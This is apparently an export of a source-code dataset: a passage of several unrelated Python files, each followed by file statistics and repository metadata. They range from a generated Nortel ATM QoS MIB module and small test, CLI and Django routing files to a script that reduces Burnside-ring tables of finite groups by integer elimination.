modFrsAtmNetTpmRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-ShelfMIB", "modIndex"), (0, "Nortel-Magellan-Passport-ModCommonMIB", "modFrsIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetTpmIndex"))
if mibBuilder.loadTexts: modFrsAtmNetTpmRowStatusEntry.setStatus('mandatory')
modFrsAtmNetTpmRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmRowStatus.setStatus('mandatory')
modFrsAtmNetTpmComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: modFrsAtmNetTpmComponentName.setStatus('mandatory')
modFrsAtmNetTpmStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: modFrsAtmNetTpmStorageType.setStatus('mandatory')
modFrsAtmNetTpmIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 15)))
if mibBuilder.loadTexts: modFrsAtmNetTpmIndex.setStatus('mandatory')
modFrsAtmNetTpmProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2), )
if mibBuilder.loadTexts: modFrsAtmNetTpmProvTable.setStatus('mandatory')
modFrsAtmNetTpmProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-ShelfMIB", "modIndex"), (0, "Nortel-Magellan-Passport-ModCommonMIB", "modFrsIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetTpmIndex"))
if mibBuilder.loadTexts: modFrsAtmNetTpmProvEntry.setStatus('mandatory')
modFrsAtmNetTpmEmissionPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 3))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmEmissionPriority.setStatus('mandatory')
modFrsAtmNetTpmAtmServiceCategory = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3))).clone(namedValues=NamedValues(("ubr", 0), ("cbr", 1), ("rtVbr", 2), ("nrtVbr", 3))).clone('nrtVbr')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmAtmServiceCategory.setStatus('mandatory')
modFrsAtmNetTpmAvgFrameSize = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 8187)).clone(128)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmAvgFrameSize.setStatus('mandatory')
modFrsAtmNetTpmTrafficParmConversionPolicy = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(3, 4, 5, 6))).clone(namedValues=NamedValues(("n3", 3), ("n4", 4), ("n5", 5), ("n6", 6))).clone('n6')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmTrafficParmConversionPolicy.setStatus('mandatory')
modFrsAtmNetTpmAssignedBandwidthPool = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 2, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15))).clone(namedValues=NamedValues(("n0", 0), ("n1", 1), ("n2", 2), ("n3", 3), ("n4", 4), ("n5", 5), ("n6", 6), ("n7", 7), ("n8", 8), ("n9", 9), ("n10", 10), ("n11", 11), ("n12", 12), ("n13", 13), ("n14", 14), ("n15", 15))).clone('n0')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetTpmAssignedBandwidthPool.setStatus('mandatory')
modAtmQosGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 1))
modAtmQosGroupBE = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 1, 5))
modAtmQosGroupBE01 = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 1, 5, 2))
modAtmQosGroupBE01A = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 1, 5, 2, 2))
modAtmQosCapabilities = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 3))
modAtmQosCapabilitiesBE = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 3, 5))
modAtmQosCapabilitiesBE01 = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 3, 5, 2))
modAtmQosCapabilitiesBE01A = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75, 3, 5, 2, 2))
mibBuilder.exportSymbols("Nortel-Magellan-Passport-ModAtmQosMIB", modAtmQosCapabilitiesBE01A=modAtmQosCapabilitiesBE01A, modFrsAtmNetRowStatusTable=modFrsAtmNetRowStatusTable, modFrsAtmNetStorageType=modFrsAtmNetStorageType, modFrsAtmNetTpmRowStatus=modFrsAtmNetTpmRowStatus, modAtmQosGroupBE=modAtmQosGroupBE, modAtmQosCapabilities=modAtmQosCapabilities, modFrsAtmNet=modFrsAtmNet, modFrsAtmNetTpmComponentName=modFrsAtmNetTpmComponentName, modFrsAtmNetProvTable=modFrsAtmNetProvTable, modAtmQosGroup=modAtmQosGroup, modAtmQosCapabilitiesBE01=modAtmQosCapabilitiesBE01, modAtmQosGroupBE01A=modAtmQosGroupBE01A, modFrsAtmNetRowStatusEntry=modFrsAtmNetRowStatusEntry, modFrsAtmNetTpmRowStatusTable=modFrsAtmNetTpmRowStatusTable, modFrsAtmNetTpmRowStatusEntry=modFrsAtmNetTpmRowStatusEntry, modFrsAtmNetTpmProvTable=modFrsAtmNetTpmProvTable, modFrsAtmNetRowStatus=modFrsAtmNetRowStatus, modFrsAtmNetTpmEmissionPriority=modFrsAtmNetTpmEmissionPriority, modFrsAtmNetTpmAssignedBandwidthPool=modFrsAtmNetTpmAssignedBandwidthPool, modFrsAtmNetComponentName=modFrsAtmNetComponentName, modFrsAtmNetTpmIndex=modFrsAtmNetTpmIndex, modFrsAtmNetTpmTrafficParmConversionPolicy=modFrsAtmNetTpmTrafficParmConversionPolicy, modFrsAtmNetTpmAtmServiceCategory=modFrsAtmNetTpmAtmServiceCategory, modFrsAtmNetIndex=modFrsAtmNetIndex, modFrsAtmNetRetryTimerPeriod=modFrsAtmNetRetryTimerPeriod, modFrsAtmNetTpmAvgFrameSize=modFrsAtmNetTpmAvgFrameSize, modAtmQosMIB=modAtmQosMIB, modFrsAtmNetTpmStorageType=modFrsAtmNetTpmStorageType, modFrsAtmNetTpm=modFrsAtmNetTpm, modFrsAtmNetProvEntry=modFrsAtmNetProvEntry, modFrsAtmNetTpmProvEntry=modFrsAtmNetTpmProvEntry, modAtmQosGroupBE01=modAtmQosGroupBE01, modAtmQosCapabilitiesBE=modAtmQosCapabilitiesBE)
| 145.64 | 1,728 | 0.759498 | 1,218 | 10,923 | 6.811166 | 0.149425 | 0.013742 | 0.011933 | 0.015911 | 0.437681 | 0.31919 | 0.302073 | 0.302073 | 0.29918 | 0.282787 | 0 | 0.084151 | 0.086148 | 10,923 | 74 | 1,729 | 147.608108 | 0.746945 | 0.03369 | 0 | 0 | 0 | 0 | 0.175801 | 0.075669 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.149254 | 0.164179 | 0 | 0.164179 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
057ae8ef435ba8ebca599636e344d77b926b388b | 284 | py | Python | lib/oeqa/runtime/cases/rubygems_rubygems_aws_sdk_sns.py | tuxable-ltd/meta-rubygems | e80630e79b64e1be8339e1add0ab07644ec99425 | [
"BSD-2-Clause"
] | null | null | null | lib/oeqa/runtime/cases/rubygems_rubygems_aws_sdk_sns.py | tuxable-ltd/meta-rubygems | e80630e79b64e1be8339e1add0ab07644ec99425 | [
"BSD-2-Clause"
] | 141 | 2021-02-04T16:22:13.000Z | 2022-03-27T08:29:40.000Z | lib/oeqa/runtime/cases/rubygems_rubygems_aws_sdk_sns.py | tuxable-ltd/meta-rubygems | e80630e79b64e1be8339e1add0ab07644ec99425 | [
"BSD-2-Clause"
] | 3 | 2021-02-04T14:02:01.000Z | 2022-02-02T16:46:52.000Z | from rubygems_utils import RubyGemsTestUtils
class RubyGemsTestrubygems_aws_sdk_sns(RubyGemsTestUtils):
def test_gem_list_rubygems_aws_sdk_sns(self):
self.gem_is_installed("aws-sdk-sns")
def test_load_aws_sdk_sns(self):
self.gem_is_loadable("aws-sdk-sns")
| 25.818182 | 58 | 0.778169 | 41 | 284 | 4.95122 | 0.463415 | 0.147783 | 0.221675 | 0.128079 | 0.216749 | 0.216749 | 0.216749 | 0 | 0 | 0 | 0 | 0 | 0.140845 | 284 | 10 | 59 | 28.4 | 0.831967 | 0 | 0 | 0 | 0 | 0 | 0.077739 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
059000666f5083b0d0a7610f0f1b2983ca1410a1 | 115 | py | Python | cli.py | Eyansky/Agile-Group-Project | cb66f3bd08e60d8f8b89fdd4a2acf329315e8dd6 | [
"MIT"
] | 2 | 2018-06-03T21:52:25.000Z | 2018-12-17T14:00:47.000Z | cli.py | Eyansky/Agile-Group-Project | cb66f3bd08e60d8f8b89fdd4a2acf329315e8dd6 | [
"MIT"
] | null | null | null | cli.py | Eyansky/Agile-Group-Project | cb66f3bd08e60d8f8b89fdd4a2acf329315e8dd6 | [
"MIT"
] | null | null | null | """
Main CLI App
"""
import click
@click.command()
def cli():
"""CLI Method"""
click.echo("Hello World")
| 10.454545 | 29 | 0.582609 | 15 | 115 | 4.466667 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.208696 | 115 | 10 | 30 | 11.5 | 0.736264 | 0.2 | 0 | 0 | 0 | 0 | 0.139241 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
55364937147645a04e00a6d6372cb6ac0be837eb | 274 | py | Python | titan/django_pkg/apimodule/templates/tests/graphqltestcase.py | mnieber/gen | 65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9 | [
"MIT"
] | null | null | null | titan/django_pkg/apimodule/templates/tests/graphqltestcase.py | mnieber/gen | 65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9 | [
"MIT"
] | null | null | null | titan/django_pkg/apimodule/templates/tests/graphqltestcase.py | mnieber/gen | 65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9 | [
"MIT"
] | null | null | null | import pytest
from graphene_django.utils.testing import graphql_query
class GraphqlTestCase:
@pytest.fixture()
def client_query(self, client):
def func(*args, **kwargs):
return graphql_query(*args, **kwargs, client=client)
return func
| 22.833333 | 64 | 0.686131 | 32 | 274 | 5.75 | 0.59375 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218978 | 274 | 11 | 65 | 24.909091 | 0.859813 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.125 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
553f15667fbb954427c1bafdebaeda12d8ebe303 | 285 | py | Python | examples/get_current_top_medias_by_tag_name.py | arun-y99/instagram-scraper | c2430e414dde1e5ee2677ffa05c2002f07bf4055 | [
"MIT"
] | null | null | null | examples/get_current_top_medias_by_tag_name.py | arun-y99/instagram-scraper | c2430e414dde1e5ee2677ffa05c2002f07bf4055 | [
"MIT"
] | null | null | null | examples/get_current_top_medias_by_tag_name.py | arun-y99/instagram-scraper | c2430e414dde1e5ee2677ffa05c2002f07bf4055 | [
"MIT"
] | null | null | null | from igramscraper.instagram import Instagram
instagram = Instagram()
instagram.with_credentials('username', 'password', 'path/to/cache/folder')
instagram.login()
medias = instagram.get_current_top_medias_by_tag_name('youneverknow')
media = medias[0]
print(media)
print(media.owner)
| 23.75 | 74 | 0.8 | 36 | 285 | 6.138889 | 0.694444 | 0.244344 | 0.244344 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003802 | 0.077193 | 285 | 11 | 75 | 25.909091 | 0.836502 | 0 | 0 | 0 | 0 | 0 | 0.168421 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.125 | 0.125 | 0 | 0.125 | 0.25 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
553ffdad3720d6534bf6746a84d695c9ad990e9d | 252 | py | Python | backend/account/urls/admin.py | skku-npc/SKKU_Coding_Platform | 1d972e8922484cf94f6735fd08b2565e5d3517d0 | [
"MIT"
] | 1 | 2022-03-30T14:03:23.000Z | 2022-03-30T14:03:23.000Z | backend/account/urls/admin.py | skku-npc/SKKU_Coding_Platform | 1d972e8922484cf94f6735fd08b2565e5d3517d0 | [
"MIT"
] | 56 | 2022-02-19T08:13:48.000Z | 2022-03-25T10:17:07.000Z | backend/account/urls/admin.py | skku-npc/SKKU_Coding_Platform | 1d972e8922484cf94f6735fd08b2565e5d3517d0 | [
"MIT"
] | 1 | 2022-03-25T15:02:46.000Z | 2022-03-25T15:02:46.000Z | from django.urls import path
from ..views.admin import UserAdminAPI, GenerateUserAPI
urlpatterns = [
path("user/", UserAdminAPI.as_view(), name="user_admin_api"),
path("generate_user/", GenerateUserAPI.as_view(), name="generate_user_api"),
]
| 28 | 80 | 0.742063 | 31 | 252 | 5.806452 | 0.516129 | 0.066667 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115079 | 252 | 8 | 81 | 31.5 | 0.807175 | 0 | 0 | 0 | 1 | 0 | 0.198413 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
557afef0f0adf8befd61128781e424d2e15df881 | 23,127 | py | Python | bruhat/zelim.py | punkdit/bruhat | 3231eacc49fd3464542f7eb72684751371d9876c | [
"MIT"
] | 3 | 2020-04-07T13:21:30.000Z | 2020-07-15T02:07:20.000Z | bruhat/zelim.py | punkdit/bruhat | 3231eacc49fd3464542f7eb72684751371d9876c | [
"MIT"
] | null | null | null | bruhat/zelim.py | punkdit/bruhat | 3231eacc49fd3464542f7eb72684751371d9876c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Gaussian elimination over natural _numbers
from __future__ import print_function
import sys, os
import numpy
#from solve import shortstr
shortstr = str
from argv import argv
def _parse(fld):
"find the (sum of) coefficient(s) in front of a (the) symbol(s)"
if len(fld)==1:
return 1
if "+" in fld:
flds = fld.split("+")
flds = [_parse(fld) for fld in flds]
return sum(flds)
#print("_parse", fld)
i = 0
while i<len(fld) and fld[i] in "0123456789":
i += 1
#assert i+1==len(fld)
if i==0:
return 1
n = int(fld[:i])
return n
def parse(table, perm=None):
lines = table.split("\n")
lines = [line.strip() for line in lines]
lines = [line for line in lines if line]
global header # Lame ! haha..
header = lines[0][2:].split()
#print("header:", header)
lines = lines[2:]
lines = [line[3:] for line in lines if line]
rows = []
for line in lines:
flds = line.split()
flds = [_parse(fld) for fld in flds]
rows.append(flds)
A = numpy.array(rows)
choose = argv.choose
if choose is not None:
items = choose.split(",")
idxs = [header.index(col) for col in items]
#print("idxs:", idxs)
A = A[:, idxs]
A = A[idxs, :]
header = items
if perm:
# permute the cols
idxs = [header.index(col) for col in perm]
A = A[:, idxs]
return A
def latex_table(table, rows, cols, upper=False):
lines = []
m, n = len(rows), len(cols)
lines.append(r"\begin{array}{%s}"%('r'*n))
lines.append(r" %s \\" % (' & '.join(cols)))
lines.append(r"\hline")
for i in range(m):
row = rows[i]
line = [str(table[i, j]) for j in range(n)]
line = r"%s \\" % (' & '.join(line))
lines.append(line)
lines.append(r"\end{array}")
s = '\n'.join(lines)
return s
def zelim(A, truncate=True, verbose=False):
A = A.copy()
n = len(A)
assert A.shape == (n, n)
L = numpy.zeros((n, n), dtype=int)
row = 0
while row+1 < n:
#print A
#print "row = %d, col = %d" % (row, col)
#assert A[row, :col].sum() == 0
while row<n and A[row].sum() == 0:
row += 1
if row==n:
break
col = 0
while A[row, col] == 0:
col += 1
val0 = A[row, col]
assert val0
assert numpy.alltrue(L[:, row]==0)
L[row, row] = 1
for row1 in range(row + 1, n):
val1 = A[row1, col]
if val1 == 0:
continue
assert val1 % val0 == 0
r = val1 // val0
A[row1] -= r*A[row]
assert A.min() >= 0
L[row1] -= r*L[row]
#print
#print shortstr(A)
row += 1
if row < n:
assert numpy.alltrue(L[:, row]==0)
L[row, row] = 1
if truncate:
idxs = [idx for (idx, row) in enumerate(A) if row.sum()]
#A = numpy.array([row for row in A if row.sum()])
A = A[idxs, :]
L = L[idxs, :]
m, n = A.shape
assert A.min() >= 0
return L, A
def rank(A):
A = zelim(A)
idx = 0
while idx<len(A):
if A[idx].sum() == 0:
break
idx += 1
return idx
tables = {}
tables["C_3"] = """
| A B
--+------
A | A B
B | B 3B
"""
tables["C_4"] = """
| A B C
--+---------
A | A B C
B | B 2B 2C
C | C 2C 4C
"""
tables["C_6"] = """
| A B C D
--+------------
A | A B C D
B | B 2B D 2D
C | C D 3C 3D
D | D 2D 3D 6D
"""
tables["C_20"] = """
| A B C D E F
--+--------------------
A | A B C D E F
B | B 2B 2C E 2E 2F
C | C 2C 4C F 2F 4F
D | D E F 5D 5E 5F
E | E 2E 2F 5E 10E 10F
F | F 2F 4F 5F 10F 20F
"""
tables["D_8"] = """
| A B C D E F G H
--+----------------------------
A | A B C D E F G H
B | B 2B G G 2E H 2G 2H
C | C G 2C G H 2F 2G 2H
D | D G G 2D H H 2G 2H
E | E 2E H H 2E+H 2H 2H 4H
F | F H 2F H 2H 2F+H 2H 4H
G | G 2G 2G 2G 2H 2H 4G 4H
H | H 2H 2H 2H 4H 4H 4H 8H
""" # D_8
tables["D_12"] = """
| A B C D E F G H I J
--+--------------------------------------
A | A B C D E F G H I J
B | B 2B F F G 2F 2G J J 2J
C | C F 2C F H 2F J 2H J 2J
D | D F F 2D I 2F J J 2I 2J
E | E G H I E+I J G+J H+J 3I 3J
F | F 2F 2F 2F J 4F 2J 2J 2J 4J
G | G 2G J J G+J 2J 2G+2J 3J 3J 6J
H | H J 2H J H+J 2J 3J 2H+2J 3J 6J
I | I J J 2I 3I 2J 3J 3J 6I 6J
J | J 2J 2J 2J 3J 4J 6J 6J 6J 12J
"""
tables["D_16"] = """
| A B C D E F G H I J K
--+--------------------------------------------
A | A B C D E F G H I J K
B | B 2B G G 2E H 2G 2H 2I K 2K
C | C G 2C G H 2F 2G 2H K 2J 2K
D | D G G 2D H H 2G 2H K K 2K
E | E 2E H H 2E+H 2H 2H 4H 2I+K 2K 4K
F | F H 2F H 2H 2F+H 2H 4H 2K 2J+K 4K
G | G 2G 2G 2G 2H 2H 4G 4H 2K 2K 4K
H | H 2H 2H 2H 4H 4H 4H 8H 4K 4K 8K
I | I 2I K K 2I+K 2K 2K 4K 2I+3K 4K 8K
J | J K 2J K 2K 2J+K 2K 4K 4K 2J+3K 8K
K | K 2K 2K 2K 4K 4K 4K 8K 8K 8K 16K
"""
tables["Q_8"] = """
| A B C D E F
--+------------------
A | A B C D E F
B | B 2B E E 2E 2F
C | C E 2C E 2E 2F
D | D E E 2D 2E 2F
E | E 2E 2E 2E 4E 4F
F | F 2F 2F 2F 4F 8F
"""
tables["S_3"] = """
| A B C D
--+-------------
A | A B C D
B | B 2B D 2D
C | C D C+D 3D
D | D 2D 3D 6D
""" # S_3
tables["S_4"] = """
| A B C D E F G H I J K
--+----------------------------------------------------
A | A B C D E F G H I J K
B | B 2B F H J 2F J 2H K 2J 2K
C | C F C+F I E+J 3F G+J K I+K 3J 3K
D | D H I D+I 2I K K H+K 2I+K 2K 4K
E | E J E+J 2I 2E+K 3J J+K 2K 2I+2K 2J+2K 6K
F | F 2F 3F K 3J 6F 3J 2K 3K 6J 6K
G | G J G+J K J+K 3J 2G+K 2K 3K 2J+2K 6K
H | H 2H K H+K 2K 2K 2K 2H+2K 4K 4K 8K
I | I K I+K 2I+K 2I+2K 3K 3K 4K 2I+5K 6K 12K
J | J 2J 3J 2K 2J+2K 6J 2J+2K 4K 6K 4J+4K 12K
K | K 2K 3K 4K 6K 6K 6K 8K 12K 12K 24K
"""
tables["PS_4"] = """
| A D E I K
--+-------------------------
A | A D E I K
D | D D+I 2I 2I+K 4K
E | E 2I 2E+K 2I+2K 6K
I | I 2I+K 2I+2K 2I+5K 12K
K | K 4K 6K 12K 24K
""" # parabolics of S_4
tables["PS_5"] = """
| A B C D E F G
--+---------------------------------------------
A | A B C D E F G
B | B B+D D+E 2D+F E+2F 3F+G 5G
C | C D+E C+E+F D+3F 2E+2F+G 4F+3G 10G
D | D 2D+F D+3F 2D+4F+G 6F+2G 6F+7G 20G
E | E E+2F 2E+2F+G 6F+2G 2E+4F+5G 6F+12G 30G
F | F 3F+G 4F+3G 6F+7G 6F+12G 6F+27G 60G
G | G 5G 10G 20G 30G 60G 120G
""" # parabolics of S_5
tables["D_4"] = open("D_4.table").read()
tables["PD_4"] = """
| A B C D E F G H I J K
--+---------------------------------------------------------------------------------
A | A B C D E F G H I J K
B | B 2B+G 2F 2F 2G+J 2F+2J 4G+K 4J 4J 4J+2K 8K
C | C 2F 2C+H 2F 2H+J 2F+2J 4J 4H+K 4J 4J+2K 8K
D | D 2F 2F 2D+I 2I+J 2F+2J 4J 4J 4I+K 4J+2K 8K
E | E 2G+J 2H+J 2I+J 2E+G+H+I+2K 6J+K 4G+2J+4K 4H+2J+4K 4I+2J+4K 6J+9K 24K
F | F 2F+2J 2F+2J 2F+2J 6J+K 2F+6J+2K 8J+4K 8J+4K 8J+4K 8J+12K 32K
G | G 4G+K 4J 4J 4G+2J+4K 8J+4K 8G+10K 8J+8K 8J+8K 8J+20K 48K
H | H 4J 4H+K 4J 4H+2J+4K 8J+4K 8J+8K 8H+10K 8J+8K 8J+20K 48K
I | I 4J 4J 4I+K 4I+2J+4K 8J+4K 8J+8K 8J+8K 8I+10K 8J+20K 48K
J | J 4J+2K 4J+2K 4J+2K 6J+9K 8J+12K 8J+20K 8J+20K 8J+20K 8J+44K 96K
K | K 8K 8K 8K 24K 32K 48K 48K 48K 96K 192K
""" # parabolics of Weyl D_4
tables["A_5"] = """
| A B C D E F G H I
--+-------------------------------------------------
A | A B C D E F G H I
B | B B+G H G+H I F+I 2G+I H+2I 5I
C | C H C+H 2H E+I 3H 2I 2H+2I 6I
D | D G+H 2H D+H+I 2I 3H+I G+3I 2H+4I 10I
E | E I E+I 2I 2E+2I 3I 4I 6I 12I
F | F F+I 3H 3H+I 3I 3F+3I 5I 3H+6I 15I
G | G 2G+I 2I G+3I 4I 5I 2G+6I 10I 20I
H | H H+2I 2H+2I 2H+4I 6I 3H+6I 10I 2H+14I 30I
I | I 5I 6I 10I 12I 15I 20I 30I 60I
""" # alternating n=5
tables["GL32"] = """
| A B C D E F G H I J K L M N P
--+--------------------------------------------------------------------------------------------------------
A | A B C D E F G H I J K L M N P
B | B B+J G+I M J+M F+N G+J+N P I+2N 3J+P K+N+P L+3N M+2P 3N+2P 7P
C | C G+I C+L M E+N L+M G+L+N P I+2N J+3N K+N+P 3L+P M+2P 3N+2P 7P
D | D M M D+M 2M 2M P H+P M+P 2P 2P 2P 2M+2P 4P 8P
E | E J+M E+N 2M 2E+P 2M+N J+N+P 2P M+2N+P 2J+3P N+3P 3N+2P 2M+4P 2N+6P 14P
F | F F+N L+M 2M 2M+N 2F+P L+N+P 2P M+2N+P 3N+2P N+3P 2L+3P 2M+4P 2N+6P 14P
G | G G+J+N G+L+N P J+N+P L+N+P G+J+L+2N+P 3P 5N+P 3J+3N+3P K+2N+4P 3L+3N+3P 7P 5N+8P 21P
H | H P P H+P 2P 2P 3P 3H+3P 4P 6P 6P 6P 8P 12P 24P
I | I I+2N I+2N M+P M+2N+P M+2N+P 5N+P 4P I+3N+3P 6N+4P 2N+6P 6N+4P M+9P 4N+12P 28P
J | J 3J+P J+3N 2P 2J+3P 3N+2P 3J+3N+3P 6P 6N+4P 6J+9P 3N+9P 9N+6P 14P 6N+18P 42P
K | K K+N+P K+N+P 2P N+3P N+3P K+2N+4P 6P 2N+6P 3N+9P 2K+10P 3N+9P 14P 2N+20P 42P
L | L L+3N 3L+P 2P 3N+2P 2L+3P 3L+3N+3P 6P 6N+4P 9N+6P 3N+9P 6L+9P 14P 6N+18P 42P
M | M M+2P M+2P 2M+2P 2M+4P 2M+4P 7P 8P M+9P 14P 14P 14P 2M+18P 28P 56P
N | N 3N+2P 3N+2P 4P 2N+6P 2N+6P 5N+8P 12P 4N+12P 6N+18P 2N+20P 6N+18P 28P 4N+40P 84P
P | P 7P 7P 8P 14P 14P 21P 24P 28P 42P 42P 42P 56P 84P 168P
"""
tables["B_2"] = """
| A B C D E F G H
--+----------------------------
A | A B C D E F G H
B | B 2B G G 2E H 2G 2H
C | C G 2C G H 2F 2G 2H
D | D G G 2D H H 2G 2H
E | E 2E H H 2E+H 2H 2H 4H
F | F H 2F H 2H 2F+H 2H 4H
G | G 2G 2G 2G 2H 2H 4G 4H
H | H 2H 2H 2H 4H 4H 4H 8H
"""
tables["PB_2"] = """
| A B C D
--+----------------
A | A B C D
B | B 2B+D 2D 4D
C | C 2D 2C+D 4D
D | D 4D 4D 8D
"""
tables["B_3"] = """
| A B C D E F G H I J K L M N P Q R S T U V W X Y Z a b c d e f g h
--+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
A | A B C D E F G H I J K L M N P Q R S T U V W X Y Z a b c d e f g h
B | B 2B G G H R 2G 2H S V V W S W b b 2R 2S e f 2V 2W e e e c 2b 2c h 2e 2f h 2h
C | C G 2C G N Q 2G W Z Z T W T 2N b 2Q b e 2T g e 2W e e 2Z g 2b h h 2e h 2g 2h
D | D G G 2D L P 2G W X Y X 2L Y W 2P b b e e d e 2W 2X 2Y e d 2b h 2d 2e h h 2h
E | E H N L E+H U W 3H I+S J+V K+V L+W M+S N+W d g f 3S T+e U+f 3V 3W X+e Y+e Z+e a+c h 3c d+h 3e 3f g+h 3h
F | F R Q P U F+U b f f d g d 2U g P+d Q+g R+f 2f 2g 2U+f h h h 2d h d+g b+h 2h 2d+h 2h 4f 2g+h 4h
G | G 2G 2G 2G W b 4G 2W e e e 2W e 2W 2b 2b 2b 2e 2e h 2e 4W 2e 2e 2e h 4b 2h 2h 4e 2h 2h 4h
